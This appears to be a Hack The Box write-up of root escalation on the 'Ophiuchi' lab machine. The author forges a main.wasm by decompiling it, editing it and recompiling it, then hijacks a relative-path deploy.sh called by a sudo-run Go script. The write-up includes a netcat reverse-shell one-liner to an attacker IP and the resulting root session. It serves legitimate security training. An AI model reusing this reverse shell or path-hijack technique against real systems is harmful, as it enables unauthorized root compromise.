Path Hijacking
As discovered previously, both main.wasm
and deploy.sh
file are loaded to the index.go
file WITHOUT absolute paths.
If I am able to forge my very own main.wasm
and deploy.sh
, I may be able to get code execution
the condition that i need for code execution is the followings:
1. The value of the “info” export of the newly instantiated WASM module being equal to 1
2. A custom deploy.sh
file (No Absolute PATH)
In order to get the first condition checked, I need to check the main.wasm
file
main.wasm
admin@ophiuchi:/opt/wasm-functions$ nc 10.10.14.10 2222 < main.wasm
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ nnc 2222 > main.wasm
listening on [any] 2222 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.227] 41448
Transfer complete
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ file main.wasm
main.wasm: WebAssembly (wasm) binary module version 0x1 (MVP)
It is indeed a GO binary file
This is my first time engaging with a GO binary, let alone a WASM file. After making some research about WASM, I realized that
- The
main.wasm
file is essentially a Go program that is compiled to Web Assembly - It was likely complied in WASM for efficient web deployment
I would need to disassemble this binary in order to progress forward There is a toolkit suite, wabt, which comes with a lots of tools including many disassemblers Kali Repo has it. I will download and install it.
Decompilation
There are 2 tools within the suite that I know of perform disassembling the compiled WASM binary
wasm-decompile
: disassembles WASM binary to programming-languages-like expression based syntax structurewasm2wat
: converts WASM binary to the human-readable WAT format
this blog article goes in-depth about the difference between those two.
One thing for sure is that the wasm-decompile
tool was designed with readability in the first priority.
I will go with both and see what comes out.
wasm-decompile
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ wasm-decompile main.wasm -o main.wasm.decompiled
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ cat main.wasm.decompiled
export memory memory(initial: 16, max: 0);
global g_a:int = 1048576;
export global data_end:int = 1048576;
export global heap_base:int = 1048576;
table T_a:funcref(min: 1, max: 1);
export function info():int {
return 0
}
This was done with the wasm-decompile
tool
I can see that it exports a function, info()
, and returns 0
While I am quite positive that this is the cause for the index.go
script to print out, “Not ready to deploy”, I will confirm it using ChatGPT.
This is the interpretation from ChatGPT
I tried making a simple script based on the decompiled data above in both GO and C, and compiled it back to the WASM format This failed and it was MUCH harder way to resolve this issue
Moving on
wasm2wat
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ wasm2wat main.wasm -o main.wat
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ cat main.wat
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
I can also decompile the WASM binary using the other tool from the suite; wasm2wat
.WAT
is supposed to be a human-readable format of Web Assembly
I can see that there is a function, $info
, with the assigned i32.const
variable to the value of 0
I should be able to change that value to 1
and compile it back to achieve the first condition
For compilation, I can use the wat2wasm
tool from the suite
Compile
I changed the value of the
i32.const
variable to 1
This should now meet the first condition and the index.go
script should proceed to execute the deploy.sh
file
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ wat2wasm main.wat -o main.wasm.fake
Compiling it was so simple. very similar to gcc
Exploitation
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ sshpass -pwhythereisalimit scp main.wasm.fake admin@$ip:/dev/shm/main.wasm
Transferring the newly compiled WASM binary to the target system’s /dev/shm/main.wasm
using scp
admin@ophiuchi:/dev/shm$ nano deploy.sh
admin@ophiuchi:/dev/shm$ cat deploy.sh
#!/bin/sh
mkfifo /tmp/cspsra; nc 10.10.14.10 1234 0</tmp/cspsra | /bin/sh >/tmp/cspsra 2>&1; rm /tmp/cspsra
I also created a fake deploy.sh
file, with its content being a reverse shell command
admin@ophiuchi:/dev/shm$ ll
total 8
drwxrwxrwt 2 root root 80 mar 29 17:15 ./
drwxr-xr-x 17 root root 3940 mar 29 11:24 ../
-rw-rw-r-- 1 admin admin 107 mar 29 17:15 deploy.sh
-rw-r--r-- 1 admin admin 112 mar 29 17:14 main.wasm
Everything is set
admin@ophiuchi:/dev/shm$ sudo -u root /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
Executing the sudo-privilege command as the root
user.
It prompts Ready to deploy as expected. This means that the index.go
file had successfully read the fake WASM file that I compiled.
It should have executed the deploy.sh
file, which contains a reverse shell
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.227] 47402
whoami
root
hostname
ophiuchi
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.227 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:3d0d prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:3d0d prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:3d:0d txqueuelen 1000 (Ethernet)
RX packets 23752 bytes 5664160 (5.6 MB)
RX errors 0 dropped 150 overruns 0 frame 0
TX packets 7465 bytes 12675620 (12.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 60394 bytes 4300218 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 60394 bytes 4300218 (4.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise